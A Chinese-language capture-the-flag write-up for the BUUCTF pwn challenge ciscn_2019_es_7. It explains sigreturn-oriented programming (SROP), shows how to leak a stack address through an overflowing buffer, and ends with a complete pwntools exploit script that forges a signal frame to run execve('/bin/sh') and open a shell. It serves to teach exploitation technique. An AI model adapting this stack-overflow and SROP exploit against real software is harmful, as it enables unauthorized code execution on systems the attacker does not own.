[BUUCTF]PWN——ciscn_2019_es_7[详解]

ciscn_2019_es_7

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步骤：

1. 例行检查，64位程序，开启了nx保护
   
2. 本地试运行一下看看大概的情况
   
3. 64位ida载入，关键函数很简单，两个系统调用,buf存在溢出
   
4. 看到系统调用和溢出，想到了SROP，之前遇到过一次，关于原理可以看一下这两篇文章
   https://www.freebuf.com/articles/network/87447.html
   https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
5. 具体的原理看上面的链接，贴一下第一篇文章里的知识点（有删改）
   如下图所示，当内核向某个进程发起（deliver）一个signal，该进程会被暂时挂起（suspend），进入内核（1），然后内核为该进程保存相应的上下文，跳转到之前注册好的signal handler中处理相应signal（2），当signal handler返回之后（3），内核为该进程恢复之前保存的上下文，最后恢复进程的执行（4）。
   
   在第二步的时候，内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址rt_sigreturn，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用。因此，当signal handler执行完之后，栈指针（stack pointer）就指向rt_sigreturn，所以，signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码，被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息，以及rt_sigreturn，我们将这段内存称为一个Signal Frame。
   
   在内核sigreturn系统调用处理函数中，会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复，并返回用户态，从挂起点恢复执行。

Signal机制缺陷利用

首先，内核替用户进程将其上下文保存在Signal Frame中，然后，内核利用这个Signal Frame恢复用户进程的上下文，done！那么，问题来了：

第一、这个Signal Frame是被保存在用户进程的地址空间中的，是用户进程可读写的；

第二、内核并没有将保存的过程和恢复的过程进行一个比较，也就是说，在sigreturn这个系统调用的处理函数中，内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。

按照作者slides里面的说法，“kernel agnostic about signal handlers”既是一个优点，因为内核不需要花精力来记录其发起的signal，但是，这也是一个缺点，正因为内核对其的不可知性，使得恶意的用户进程可以对其进行伪造！

让我们先来假设一个攻击者可以控制用户进程的栈，那么它就可以伪造一个Signal Frame，如下图所示

在这个伪造的Signal Frame中，将rax设置成59（即execve系统调用号），将rdi设置成字符串/bin/sh的地址（该字符串可以是攻击者写在栈上的），将rip设置成系统调用指令syscall的内存地址，最后，将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么，当这个伪造的sigreturn系统调用返回之后，相应的寄存器就被设置成了攻击者可以控制的值，在这个例子中，一旦sigreturn返回，就会去执行execve系统调用，打开一个shell。

这是一个最简单的攻击。在这个攻击中，有4个前提条件：
第一，攻击者可以通过stack overflow等漏洞控制栈上的内容；
第二，需要知道栈的地址（比如需要知道自己构造的字符串/bin/sh的地址）；
第三，需要知道syscall指令在内存中的地址；
第四，需要知道sigreturn系统调用的内存地址。

搞清楚上述的内容后就可以解出这道题了

1. buf存在溢出，可以控制栈上的内容，满足了第一个条件
2. 程序使用了一次read一次write，buf的大小只有0x10，但是write打印了0x30，会打印多余的东西，

rax=0x4004f1

p.send("/bin/sh"+"x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

我们先往buf里写入内容，write会打印出来，接收看一下，打印出来了多余的地址，我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址

调试的时候使用info proc map命令查看当前进程的内存映射，find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh" 在栈中查找‘/bin/sh’的地址，找到它在栈上的地址是0x7ffe697e0160，与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118,每次加载的地址都不一样，但是泄露的栈地址和bin/sh的偏移是固定的，所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址，满足了第二个条件

4. 找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串（System call chains）,满足了第三个条件
   
5. 找一下sigreturn系统调用的内存地址
   如果我们将sigreturn当做一个系统调用来看待的话，那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15（sigreturn的系统调用号），然后调用一个syscall，效果和调用一个sigreturn是一样一样的。
   发现程序里有现成的rax=15（调用sigreturn）和rax=59（调用execv），满足了第四个条件
   
6. 条件都满足了，接下来就可以用pwntools来帮助我们生成这个Signal Frame了

context(os='linux',arch='amd64',log_level='debug')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118  
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

7. 最后利用溢出，完成SROP利用

p.send("/bin/sh"+"x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

完整exp：根据ctfwiki上的修改

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')

p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447)

syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2	

rax=0x4004f1

p.send("/bin/sh"+"x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

#gdb.attach(p)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118  
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

p.send("/bin/sh"+"x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

p.interactive()